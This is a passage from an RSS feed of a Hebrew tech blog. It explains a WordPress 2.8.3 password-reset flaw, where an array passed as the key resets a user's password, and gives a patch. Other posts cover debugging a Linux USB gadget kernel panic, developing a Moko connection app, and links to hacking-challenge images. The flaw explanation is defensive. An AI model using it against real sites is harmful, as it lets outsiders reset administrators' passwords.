&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>היום פורסמה בMilw0rm פרצה חדשה לWordpress בגרסאתה הנוכחית (2.8.3) .<br />
נכון לרגע כתיבת פוסט זה, אין עדיין תיקון רישמי. (<strong>ראה עדכון</strong>)<br />
אבל בינתיים החלטנו לתקן את הבעיה בעצמנו, זה לא מסובך מדי.<br />
הנה הפרטים של הפרצה:</p>
<p><a href="http://milw0rm.org/exploits/9410">http://milw0rm.org/exploits/9410</a></p>
<p>הלוגיקה מאחורי זה:</p>
<ul>
<li>אם שכחת סיסמה לחשבון, אתה לוחץ על כפתור שכחתי סיסמה
</li>
<li>המערכת שולחת לדואר האלקטרוני שרשום לה מכתב של &quot;תאשר איפוס סיסמה&quot;
</li>
<li>המערכת מייצרת מפתח auth_key שאיתו המשתמש שרואה את האמייל מאשר ע&quot;י לחיצה על לינק שזה באמת המייל שלו.
</li>
<li>הסיסמה מתאפסת, נשלחת בדואר, ומוצגת על המסך. (<strong>ראה עדכון</strong>)
</li>
</ul>
<p>הבעיה היא בשלב של האישור, ובו ניתן לאשר את קבלת הדואר,<br />
ללא המפתח ע&quot;י פרמטר key לא תקין (מערך במקום מחרוזת).</p>
<p>מה שקורה במצב הזה, אם מדלגים על השלב של &quot;שכחתי את הסיסמה&quot;.<br />
אז בכלל לא נוצר user_activation_key, והוא ישאר ריק אם אף פעם המנהל לא שכח סיסמה.<br />
לכן, אם מעבירים ב key מערך ריק, אז החלק שאחראי לבדוק את נכונות ה user_activation_key:</p>
<pre><code>
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
</code></pre>
<p>יחזיר (בצדק) שהוא נכון, כי כאמור השדה ריק (wpdb->prepare מתעלם מאיברים מיותרים בFormat String).<br />
הוא יתאים את המשתמש הראשון שיש לו user_activation_key ריק, ויאפס לו את הסיסמה.<br />
(המשתמש יגלה את זה כאשר ישלח לו דואר עם הסיסמה החדשה).<br />
ברוב המקרים זה המנהל, במקרים אחרים איזה משתמש מסכן אחר.</p>
<p>התיקון שהוספתי לקוד (בקובץ wp-login.php):</p>
<pre><code>
function reset_password($key) {
	global $wpdb;

	if (!is_string($key)) {
		return new WP_Error('invalid_key', __('Invalid key'));
	}
</code></pre>
<p>אתם מוזמנים להשתמש בזה עד שיצא תיקון רישמי.<br />
שאלות? הערות? תשאירו תגובה&#8230;</p>
<p>עדכון:</p>
<ul>
<li>קודם כל יצא כבר תיקון, ויש גרסה 2.8.4.
</li>
<li>אחרי בדיקה מהירה מתברר שזה לא מציג את הסיסמה על המסך אלא רק שולח אותה למנהל
</li>
<li>מה שהופך את זה ללא כזה קריטי, אבל עדיין זה די חכם&#8230;
</li>
</ul>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=395</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>&#8235;Linux Kernel Module, באגים ותיקונם&#8236;</title>		<link>http://www.binaryvision.org.il/?p=376</link>
		<comments>http://www.binaryvision.org.il/?p=376#comments</comments>
		<pubDate>Wed, 24 Jun 2009 21:06:19 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Kernel]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[OpenMoko]]></category>
		<category><![CDATA[באג]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=376</guid>
		<description><![CDATA[&#8235;
בהתעסקותי עם הOpenMoko שלי, גיליתי באג ממש מעצבן בKernel של לינוקס. או יותר נכון באחד מהמודולים שבאים איתו. הבאג הוא Null Dereference והנה הסיפור שלו. מתי זה קורה? יש לי מחשב Windows XP SP3 בבית, והוא מעודכן עם כל הפאטצ'ים של מיקרוסופט. באחד מן הימים אני מחבר את המכשיר (OpenMoko) עם כבל USB למחשב, ואני [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>בהתעסקותי עם הOpenMoko שלי, גיליתי באג ממש מעצבן בKernel של לינוקס.<br />
או יותר נכון באחד מהמודולים שבאים איתו.<br />
הבאג הוא Null Dereference והנה הסיפור שלו.</p>
<h2>מתי זה קורה?</h2>
<p>יש לי מחשב Windows XP SP3 בבית, והוא מעודכן עם כל הפאטצ'ים של מיקרוסופט.<br />
באחד מן הימים אני מחבר את המכשיר (OpenMoko) עם כבל USB למחשב, ואני רואה שבWindows לא קורה כלום.<br />
אבל המערכת הפעלה בפלאפון נתקעה, והוא מהבהב את המנורה שמסמנת Kernel Panic.</p>
<h2>מה לא ניסיתי?</h2>
<p>מיותר לציין שניסיתי לחפש על זה מידע באינטרנט, אבל כיוון שזה בעיה חדשה, שבאה בעקבות בעיה שהWindows חוטף Blue Screen במקרה דומה, אז כל התוצאות חיפוש זה המקרה ההוא, ואף מילה על Kernel Panic.<br />
אחרי דיונים ממושכים עם אנשים בFreenode שעונים פעם בשעה בערך, וגם אז קשה להביא אותם למצב שהם עוזרים איכשהו,<br />
הגעתי למסקנה שצריך את ההודעה של הKernel Panic כדי להבין מה הולך שם, וכדי שאנשים יוכלו לעזור לי יותר טוב.<br />
רק מה, המכשיר לא בדיוק מאפשר לך להתחבר אליו אחרי הPanic ולשאול אותו מה קרה, הדבר היחיד שאפשר לעשות זה לעשות Restart למכשיר ולאבד את ההודעה.<br />
מסתבר שמישהו כתב Patch לקרנל של לינוקס שמאפשר לשמור את ההודעות מערכת בRAM ואז בעליית המערכת פעם הבאה אפשר לבדוק את ההודעות שהיו.</p>
<h2>קימפול מחדש של הקרנל עם הPatch</h2>
<p>הPatch הוא של Lindi, וקוראים לו ramconsole.<br />
אז דבר ראשון שהייתי צריך זה להשיג את המקור של הKernel בגרסה המתאימה, ואת קובץ ההגדרות שיתאים למכשיר.<br />
את המקור ממש קל להשיג, את הקובץ הגדרות השגתי מהRepository של SHR (הפצה שמותקנת אצלי על הMoko)<br />
דבר שני צריך לשים את הPatch על הקוד מקור, ולוודא שכל החלקים שלו נרשמו בצורה תקינה.<br />
ודבר שלישי, צריך להשיג קומפילר שיקמפל לי למעבד ARM ולא X86, זה הבאתי מהOpenMoko ויקיפדיה שמכיל דף והורדה של הCrosstools שצריך כדי לקמפל דברים למכשיר.<br />
אחרי כל זה, יש לי קרנל, ויש לי מודולים שבאים איתו, ואני מעביר אותם למכשיר, ומתפלל&#8230;<br />
המכשיר עולה, הקרנל החדש עובד, נשרא לקמפל את הכלי ramconsole-dump(שגם הוא נכתב ע&quot;י lindi) כדי לראות את ההודעות,<br />
להעביר אותו למכשיר, לגרום לKernel Panic, ולראות את הפלט.</p>
<h2>מסתבר שזה לא הכל</h2>
<p>כדי לאתחל מחדש את המכשיר אחרי הKernel Panic, אני צריך להוציא סוללה ולהכניס חזרה.<br />
חבל מאד שהפעולה הזאת מוחקת את הRAM שצריך זרם כדי לשמור על המידע שלו.<br />
אחרי שיחה קצרה עם lindi מסתבר שאני צריך לאתחל את הקרנל עם פרמטרים נוספים:</p>
<pre>panic=10 mem=127M</pre>
<p>הראשון כדי שאחרי 10 שניות מהPanic הוא יעשה אתחול בעצמו, והשני כדי שהוא לא ישתמש בכל הזיכרון וידרוס את הRamconsole כשיעלה שוב.<br />
אז כדי להפעיל את הKernel עם פרמטרים אני צריך להחליף את הBootloader שעל המכשיר, כי כרגע הוא Qi, והוא לא מאפשר עריכת פרמטרים.<br />
אז אני מחליף את הBootloader בu-boot, ונכנס לקונסול שלו (לא פשוט, אבל אני לא אפרט) כדי לערוך את הפרמטרים.<br />
אחרי כל הסיפור, עולה הקרנל, אני מקפיא אותו, אחרי 10 שניות הוא עושה לעצמו Reboot, ואז אני מפעיל את ramconsole-dump לתוך קובץ.<br />
וזהו! יש לי את הdump, נשאר רק למצוא ולתקן את הבעיה. הנה השגיאה מי שרוצה לראות:</p>
<pre>
<6>[   44.390000] g_ether gadget: full speed config #2: RNDIS
<1>[   44.755000] Unable to handle kernel NULL pointer dereference at virtual address 00000000
<1>[   44.755000] pgd = c0004000
<1>[   44.755000] [00000000] *pgd=00000000
<4>[   44.755000] Internal error: Oops: 17 [#1] PREEMPT
<4>[   44.755000] Modules linked in: sco bnep snd_pcm_oss snd_mixer_oss ar6000 snd_soc_neo1973_gta02_wm8753 snd_soc_s3c24xx_i2s
   snd_soc_s3c24xx s3cmci btusb rfcomm ppp_generic slhc ohci_hcd ipv6 hidp l2cap bluetooth g_ether snd_soc_wm8753 snd_soc_core
   snd_pcm snd_timer snd_page_alloc snd
<4>[   44.755000] CPU: 0    Not tainted  (2.6.29-GTA02_fate-mokodev #2)
<4>[   44.755000] PC is at strlen+0x18/0x2c
<4>[   44.755000] LR is at gen_ndis_query_resp+0x574/0xc38 [g_ether]
<4>[   44.755000] pc : [<c01623f0>]    lr : [<bf05f708>]    psr: 60000093
<4>[   44.755000] sp : c0391cf8  ip : c0391d08  fp : c0391d04
<4>[   44.755000] r10: c655b3e0  r9 : 000001c0  r8 : c655b3f4
<4>[   44.755000] r7 : 00000000  r6 : c655b40c  r5 : 00000000  r4 : 00000000
<4>[   44.755000] r3 : bf0672b8  r2 : 00000000  r1 : 00000000  r0 : 00000000
<4>[   44.755000] Flags: nZCv  IRQs off  FIQs on  Mode SVC_32  ISA ARM  Segment kernel
<4>[   44.755000] Control: c000717f  Table: 371ac000  DAC: 00000017
<4>[   44.755000] Process swapper (pid: 0, stack limit = 0xc0390268)
<4>[   44.755000] Stack: (0xc0391cf8 to 0xc0392000)
<4>[   44.755000] 1ce0:                                                       c0391d2c c0391d08
<4>[   44.755000] 1d00: bf05f708 c01623e8 c655b3f4 c7b77000 bf0672b8 c64e3aa0 00000000 00000004
<4>[   44.755000] 1d20: c0391d54 c0391d30 bf05fe48 bf05f1a4 c655b3e0 c09203e4 c0391d64 00000000
<4>[   44.755000] 1d40: c7b77000 0000004c c0391dec c0391d58 bf06002c bf05fddc c0391d84 c0391d68
<4>[   44.755000] 1d60: c0070cbc c0070200 c784d000 00000006 c674ca40 c03b5b14 c64e3aa8 c0391dc4
<4>[   44.755000] 1d80: c0391d98 c01e9d68 c01e808c c0367c68 c02d37b8 c03b5b14 00000000 c03934c8
<4>[   44.755000] 1da0: 00000000 00000000 00000000 0000000a c0391e04 c0391dc0 c006ed3c c006d3cc
<4>[   44.755000] 1dc0: c0391de4 c64e3aa8 c7b0be00 00000000 c64e3aa0 00000000 000001c0 00000004
<4>[   44.755000] 1de0: c0391e14 c0391df0 bf06075c bf05fea4 00000000 30025864 c0391e4c c64e3aa0
<4>[   44.755000] 1e00: c03b5b14 00000000 c0391e34 c0391e18 c01e7f2c bf060740 c08be5d4 00000001
<4>[   44.755000] 1e20: c08be5d4 00000000 c0391e74 c0391e38 c01e8dc0 c01e7ee0 00000001 00000000
<4>[   44.755000] 1e40: c03b5b14 c7b77000 c0390000 00000001 c03b5af0 00000000 c03b5b14 00000001
<4>[   44.755000] 1e60: 00000000 c64e3aa0 c0391eac c0391e78 c01e92f8 c01e8bd0 c02b3b14 c0070bb8
<4>[   44.755000] 1e80: 00000001 c03b5af0 00000000 00000001 00000000 00000000 00000000 c08be5d4
<4>[   44.755000] 1ea0: c0391ef4 c0391eb0 c01e977c c01e9194 00000000 00000001 c007026c 00000001
<4>[   44.755000] 1ec0: 00000000 40000093 00000000 c79bfa40 00000000 00000000 00000029 00000001
<4>[   44.755000] 1ee0: c0390000 30025864 c0391f14 c0391ef8 c007c3e4 c01e95ac c03a0360 00000029
<4>[   44.755000] 1f00: c79bfa40 c03a0394 c0391f34 c0391f18 c007df34 c007c3c8 00000029 00000000
<4>[   44.755000] 1f20: 02000000 00000002 c0391f4c c0391f38 c002a054 c007de20 ffffffff f4000000
<4>[   44.755000] 1f40: c0391fa4 c0391f50 c002a958 c002a010 00000001 00000032 f4100000 60000013
<4>[   44.755000] 1f60: c002c554 c0390000 c00282a8 c0395008 30025900 41129200 30025864 c0391fa4
<4>[   44.755000] 1f80: c0391f88 c0391f98 c002be20 c002c5a0 60000013 ffffffff c0391fbc c0391fa8
<4>[   44.755000] 1fa0: c002c344 c002c564 c08af150 c03bf744 c0391fcc c0391fc0 c02aeff0 c002c318
<4>[   44.755000] 1fc0: c0391ff4 c0391fd0 c0008ae0 c02aef98 c000858c 00000000 00000000 c0027ea4
<4>[   44.755000] 1fe0: c0007175 c03bfbec 00000000 c0391ff8 30008034 c00088e8 00000000 00000000
<4>[   44.755000] Backtrace:
<4>[   44.755000] [<c01623d8>] (strlen+0x0/0x2c) from [<bf05f708>] (gen_ndis_query_resp+0x574/0xc38 [g_ether])
<4>[   44.755000] [<bf05f194>] (gen_ndis_query_resp+0x0/0xc38 [g_ether]) from [<bf05fe48>] (rndis_query_response+0x7c/0xc8 [g_ether])
<4>[   44.755000] [<bf05fdcc>] (rndis_query_response+0x0/0xc8 [g_ether]) from [<bf06002c>] (rndis_msg_parser+0x198/0x3c8 [g_ether])
<4>[   44.755000]  r6:0000004c r5:c7b77000 r4:00000000
<4>[   44.755000] [<bf05fe94>] (rndis_msg_parser+0x0/0x3c8 [g_ether]) from [<bf06075c>] (rndis_command_complete+0x2c/0x70 [g_ether])
<4>[   44.755000] [<bf060730>] (rndis_command_complete+0x0/0x70 [g_ether]) from [<c01e7f2c>] (s3c2410_udc_done+0x5c/0x70)
<4>[   44.755000]  r6:00000000 r5:c03b5b14 r4:c64e3aa0
<4>[   44.755000] [<c01e7ed0>] (s3c2410_udc_done+0x0/0x70) from [<c01e8dc0>] (s3c2410_udc_read_fifo+0x200/0x274)
<4>[   44.755000]  r6:00000000 r5:c08be5d4 r4:00000001
<4>[   44.755000] [<c01e8bc0>] (s3c2410_udc_read_fifo+0x0/0x274) from [<c01e92f8>] (s3c2410_udc_handle_ep0+0x174/0x1c4)
<4>[   44.755000] [<c01e9184>] (s3c2410_udc_handle_ep0+0x0/0x1c4) from [<c01e977c>] (s3c2410_udc_irq+0x1e0/0x298)
<4>[   44.755000] [<c01e959c>] (s3c2410_udc_irq+0x0/0x298) from [<c007c3e4>] (handle_IRQ_event+0x2c/0x68)
<4>[   44.755000] [<c007c3b8>] (handle_IRQ_event+0x0/0x68) from [<c007df34>] (handle_edge_irq+0x124/0x174)
<4>[   44.755000]  r7:c03a0394 r6:c79bfa40 r5:00000029 r4:c03a0360
<4>[   44.755000] [<c007de10>] (handle_edge_irq+0x0/0x174) from [<c002a054>] (__exception_text_start+0x54/0x6c)
<4>[   44.755000]  r7:00000002 r6:02000000 r5:00000000 r4:00000029
<4>[   44.755000] [<c002a000>] (__exception_text_start+0x0/0x6c) from [<c002a958>] (__irq_svc+0x38/0xc8)
<4>[   44.755000] Exception stack(0xc0391f50 to 0xc0391f98)
<4>[   44.755000] 1f40:                                     00000001 00000032 f4100000 60000013
<4>[   44.755000] 1f60: c002c554 c0390000 c00282a8 c0395008 30025900 41129200 30025864 c0391fa4
<4>[   44.755000] 1f80: c0391f88 c0391f98 c002be20 c002c5a0 60000013 ffffffff
<4>[   44.755000]  r5:f4000000 r4:ffffffff
<4>[   44.755000] [<c002c554>] (default_idle+0x0/0x54) from [<c002c344>] (cpu_idle+0x3c/0x68)
<4>[   44.755000] [<c002c308>] (cpu_idle+0x0/0x68) from [<c02aeff0>] (rest_init+0x68/0x7c)
<4>[   44.755000]  r5:c03bf744 r4:c08af150
<4>[   44.755000] [<c02aef88>] (rest_init+0x0/0x7c) from [<c0008ae0>] (start_kernel+0x208/0x268)
<4>[   44.755000] [<c00088d8>] (start_kernel+0x0/0x268) from [<30008034>] (0x30008034)
<4>[   44.755000]  r5:c03bfbec r4:c0007175
<4>[   44.755000] Code: e24cb004 e1a02000 ea000000 e2800001 (e5d03000)
<0>[   44.760000] Kernel panic - not syncing: Fatal exception in interrupt
<0>[   44.765000] Rebooting in 10 seconds..arch_reset: attempting watchdog reset
</pre>
<h2>תיקון המודול בקרנל</h2>
<p>הCrash Dump ממש מדוייק, עד כדי הפונקצייה האחרונה שהורצה, ומאיזה קובץ.<br />
תודות לעזרה של TAsn ושל עוד בחור מFreenode, הם הצליחו למצוא את הבעיה בקוד של rndis.c.<br />
ומה שמסתבר שמי שכתב את זה הניח שאחד הפרמטרים לא יכול להיות Null, ועשה עליו strlen().<br />
מה שגרם לstrlen לעשות Null Dereference ולמות.<br />
התיקון היה להוסיף כמה שורות שממציאות שם לDevice, ומחיזרות את השם המומצא.</p>
<h2>התיקון</h2>
<pre>
--- a/drivers/usb/gadget/rndis.c
+++ b/drivers/usb/gadget/rndis.c
@@ -294,9 +294,14 @@ gen_ndis_query_resp (int configNr, u32 OID, u8 *buf, unsigned buf_len,
 	/* mandatory */
 	case OID_GEN_VENDOR_DESCRIPTION:
 		pr_debug("%s: OID_GEN_VENDOR_DESCRIPTION\n", __func__);
+#if 0
 		length = strlen (rndis_per_dev_params [configNr].vendorDescr);
 		memcpy (outbuf,
 			rndis_per_dev_params [configNr].vendorDescr, length);
+#endif
+		const char vendorDescr[]="dummy";
+		length = strlen (vendorDescr);
+		memcpy (outbuf,	vendorDescr, length);
 		retval = 0;
 		break;
</pre>
<h2>לסיכום</h2>
<p>לאחר תיקון הבאג, הקרנל עובד, מתחבר לווינדווס מזדהה כמו שצריך כRNDIS Device,<br />
וכולם שמחים ומאושרים, או יותר נכון אני שמח ומאושר שאני יכול לחזור לעבוד על תוכנות במכשיר <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>אתם מוזמנים להגיב ולשאול דברים אם תרצו&#8230;.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=376</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>&#8235;פיתוח Mokonnect&#8236;</title>		<link>http://www.binaryvision.org.il/?p=331</link>
		<comments>http://www.binaryvision.org.il/?p=331#comments</comments>
		<pubDate>Fri, 05 Jun 2009 09:15:26 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Mokonnect]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[OpenMoko]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[קוד פתוח]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=331</guid>
		<description><![CDATA[&#8235;
מבוא נמאס לי מתוכנות לא טובות ליצירת חיבור עם הMoko. הסיבה העיקרית שאני לא משתמש בו כרגע כמו שהייתי רוצה להשתמש זה בגלל שאין לו תוכנת ניהול חיבורים נורמלית. מה זה שווה שיש למכשיר מיליון שיטות התקשרות כשאני צריך כל פעם לכתוב סרטיפט או פקודות בShell כדי להתחבר לאנשהו. אז חשבתי שהגיע הזמן שגם אני [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מבוא</h2>
<p>נמאס לי מתוכנות לא טובות ליצירת חיבור עם הMoko.<br />
הסיבה העיקרית שאני לא משתמש בו כרגע כמו שהייתי רוצה להשתמש זה בגלל שאין לו תוכנת ניהול חיבורים נורמלית.<br />
מה זה שווה שיש למכשיר מיליון שיטות התקשרות כשאני צריך כל פעם לכתוב סרטיפט או פקודות בShell כדי להתחבר לאנשהו.<br />
אז חשבתי שהגיע הזמן שגם אני אפתח לזה משהו, ונראה איך זה יצא.<br />
בינתיים זה הולך לא רע, בהמשך אני כותב על התהליך ההתחלתי של הפיתוח.<br />
וכמובן בסוף יש את המצב הנוכחי, וקישור למקור.</p>
<h2>קווים מנחים</h2>
<p>כמובן שלא מתחילים לכתוב תוכנה בלי שיודעים איזה בעיות היא צריכה לפתור, ואיזה אפשרויות צריך שיהיה לה&#8230;</p>
<ul>
<li>שימוש קל כשרוצים לעשות משהו פשוט
</li>
<li>אפשרות לשימוש בכל אחת משיטות החיבור
</li>
<li>שימוש מתקדם אפשרי למי שרוצה בכך
</li>
<li>אפשרות לשמור מצבים ולהחליף ביניהם בצורה מהירה
</li>
</ul>
<h2>Mockup</h2>
<p>תמונות שציירתי עוד לפני שהתחלתי לפתח (כדי לראות איך זה יראה, ואם זה נוח לשימוש):<br />
<div id="attachment_315" class="wp-caption alignnone" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/05/main_screen.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/05/main_screen-150x150.png" alt="מסך ראשי" title="main_screen" width="150" height="150" class="size-thumbnail wp-image-315" /></a><p class="wp-caption-text">מסך ראשי</p></div><br />
<div id="attachment_317" class="wp-caption alignnone" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/05/usb_network.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/05/usb_network-150x150.png" alt="רשת USB" title="usb_network" width="150" height="150" class="size-thumbnail wp-image-317" /></a><p class="wp-caption-text">רשת USB</p></div><br />
<div id="attachment_318" class="wp-caption alignnone" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/05/wifi.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/05/wifi-150x150.png" alt="Wifi" title="wifi" width="150" height="150" class="size-thumbnail wp-image-318" /></a><p class="wp-caption-text">Wifi</p></div><br />
<div id="attachment_319" class="wp-caption alignnone" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/05/routing.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/05/routing-150x150.png" alt="ניתוב" title="routing" width="150" height="150" class="size-thumbnail wp-image-319" /></a><p class="wp-caption-text">ניתוב</p></div></p>
<h2>שיטות שימוש</h2>
<h3>התחברות לרשת אלחוטית פעם אחת</h3>
<p>פותחים את התוכנה, לוחצים על Wifi, מכוונים את ההגדרות, לוחצים על Apply, מחכים שהוא יתחבר ויציג פלט, ויוצאים מהתוכנה</p>
<h3>התחברות לרשת אלחוטית יותר מפעם אחת</h3>
<p>פותחים את התוכנה, לוחצים על Wifi, מכוונים את ההגדרות, לוחצים על Apply, מחכים שהוא יתחבר ויציג פלט, בתפרטי הראשי מסמנים את Wifi, ולוחצים על Save Profile, כותבים את שם הפרופיל ותיאור קצר, שומרים ויוצאים.<br />
בפעם הבאה שנכנסים ורוצים להתחבר לאותה רשת, לוחצים פשוט על Select Profile בוחרים את שם הפרופיל וזה עושה הכל לבד.</p>
<h3>התחברות לGPRS וניתוב האינטרט לחיבור USB</h3>
<p>פותחים את התוכנה, מגדירים את החיבור USB, לוחצים Apply, כנ&quot;ל גם החיבור GPRS, לוחצים Apply,<br />
הולכים לRoute, מגדירים שם מי החיבור הראשי, מאיפה לוקחים DNS, ומי נמצא בNAT וכאלה, לוחצים Apply,<br />
בתפריט הראשי שומרים את הפרופיל, ופעם הבאה ההגדרות האלה יהיו במרחק בחירת פרופיל מתוך רשימה.</p>
<h2>סביבת פיתוח</h2>
<p>אני לא רציתי לעבוד ישירות על המכשיר, רציתי לעבור על המחשב, לייצר את התוכנה עד כמה שאפשר מחוץ למוקו.<br />
ורק כשצריך להעביר אותה לשם ולבדוק.<br />
מה שמצריך משהו שמדמה לי את מערכת ההפעלה שיש במוקו, ונותן לי את אותם הספריות בפייטון שאני אוכל לעבוד איתן.<br />
בחירות שעשיתי לגבי מבנה המערכת אצלי:<br />
<div id="attachment_340" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/06/working_shr.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/06/working_shr-150x150.png" alt="סביבת הפיתוח" title="working_shr" width="150" height="150" class="size-thumbnail wp-image-340" /></a><p class="wp-caption-text">סביבת הפיתוח</p></div></p>
<ul>
<li>VMWare Workstation &#8211; כי זה מהיר מאד בWindows, ונוח&#8230;
</li>
<li>Slackware 12.2 &#8211; אם יש כלי פיתוח כלשהו שצריך ומשתמשים בו בעולם, אז הוא קיים בהתקנה הבסיסית של Slackware.
</li>
</ul>
<p>דברים שהתקנתי ובעיות שפתרתי:</p>
<ul>
<li>Enlightment DR17 &#8211; החדש שהמוקו מריץ (בעזרת סרקריפט easy_e17.sh שלוקח לו שנים לרוץ)
</li>
<li>Illume-SHR Profile &#8211; ערכת נושא והגדרות לillume (מתוך הGIT של הפרוייקט)
</li>
<li>הגדרת DPI נכונה &#8211; ההגדרה צריכה להיות פי 2 יותר קטנה מהDPI הנוכחי. (בתוך הX11 כבר)
</li>
<li>e17 Python Bindings &#8211; אני רוצה לבנות את התוכנה בPython (מתוך המקור של e17)
</li>
</ul>
<p>עכשיו יש לי סביבת פיתוח שמדמה איך הדברים יראו ובערך יעבדו המוקו.</p>
<h2>התקדמות</h2>
<p><div id="attachment_349" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/06/ss_main.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/06/ss_main-150x150.png" alt="תמונת מסך: מסך ראשי" title="ss_main" width="150" height="150" class="size-thumbnail wp-image-349" /></a><p class="wp-caption-text">תמונת מסך: מסך ראשי</p></div><br />
מי שרוצה לראות את הקוד בצורה יפה: <a href="http://code.assembla.com/shrdev/subversion/nodes/Mokonnect/trunk">http://code.assembla.com/shrdev/subversion/nodes/Mokonnect/trunk</a><br />
קישור לSVN למי שרוצה: <a href="http://subversion.assembla.com/svn/shrdev/Mokonnect/trunk">http://subversion.assembla.com/svn/shrdev/Mokonnect/trunk</a><br />
כפי ששמתם לב אני משתמש בAssembla לצרכי שמירת הקוד שלי, ואולי גם אשתמש בWiki שם לצורך תיעוד.<br />
בכל מקרה המצב של הקוד כרגע לא משהו.<br />
יש GUI, בערך קרוב למה שתכננתי, ויש גם את ההגדרות של USB Network,<br />
כל השאר לא פעיל בינתיים.<br />
בתוך ההגדרות של USB Network, אני נלחם עם Apply בצורה חכמה,<br />
<div id="attachment_348" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/06/ss_usbnet.png"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/06/ss_usbnet-150x150.png" alt="תמונת מסך: USB" title="ss_usbnet" width="150" height="150" class="size-thumbnail wp-image-348" /></a><p class="wp-caption-text">תמונת מסך: USB</p></div><br />
כך שבזמן שאני עושה פעולות הוא לא יתקע את הGUI ויעדכן אותו עם הודעות התקדמות.<br />
זה יותר קשה משציפיתי בגלל שהToolkit לא תומך בThreads יותר מדי.<br />
בכל מקרה, עד כאן להיום.</p>
<p>תשאירו תגובות, הערות, הצעות לשיפור, או בכלל אם יש לכם משהו להגיד.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=331</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>&#8235;אחד האתגרים מILHack&#8236;</title>		<link>http://www.binaryvision.org.il/?p=313</link>
		<comments>http://www.binaryvision.org.il/?p=313#comments</comments>
		<pubDate>Sun, 24 May 2009 18:57:51 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Pen-Testing]]></category>
		<category><![CDATA[אתגר]]></category>
		<category><![CDATA[כנס]]></category>
		<category><![CDATA[לינוקס]]></category>
		<category><![CDATA[פריצה]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=313</guid>
		<description><![CDATA[&#8235;
מי שרוצה את האתגר, ולא יצא לו להביא מחשב נייד, או לא יצא לו להעתיק את זה כמו שצריך. אז הנה האתגר פריצה מהכנס: <a href="http://de-ice.hackerdemia.com/doku.php">http://de-ice.hackerdemia.com/doku.php</a> תקראו את הScenarios, ותהנו&#8230; יש שם גם פתרונות בוידאו, אבל תנסו קודם בעצמכם, בהצלחה. עריכה: קישור שעובד: <a href="http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso">http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso</a> עריכה: אתגר נוסף מILHack, ההוא עם פריצה של קבצי EXE בעזרת Reverse [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><p>מי שרוצה את האתגר, ולא יצא לו להביא מחשב נייד,<br />
או לא יצא לו להעתיק את זה כמו שצריך.<br />
אז הנה האתגר פריצה מהכנס:<br />
<a href="http://de-ice.hackerdemia.com/doku.php">http://de-ice.hackerdemia.com/doku.php</a><br />
תקראו את הScenarios, ותהנו&#8230;<br />
יש שם גם פתרונות בוידאו, אבל תנסו קודם בעצמכם,<br />
בהצלחה.<br />
עריכה:<br />
קישור שעובד: <a href="http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso">http://heorot.net/instruction/tutorials/iso/de-ice.net-1.100-1.1.iso</a></p>
<p>עריכה:<br />
אתגר נוסף מILHack, ההוא עם פריצה של קבצי EXE בעזרת Reverse Engineering אפשר להוריד מכאן:<br />
<a href="http://iamverygood.notlong.com">http://iamverygood.notlong.com</a><br />
הצלחה באתגר הזה יכולה להביא לכם עבודה טובה בתחום&#8230;</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=313</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>&#8235;Reversing, והכוח של זה&#8236;</title>		<link>http://www.binaryvision.org.il/?p=252</link>
		<comments>http://www.binaryvision.org.il/?p=252#comments</comments>
		<pubDate>Wed, 08 Apr 2009 21:38:20 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Firmware]]></category>
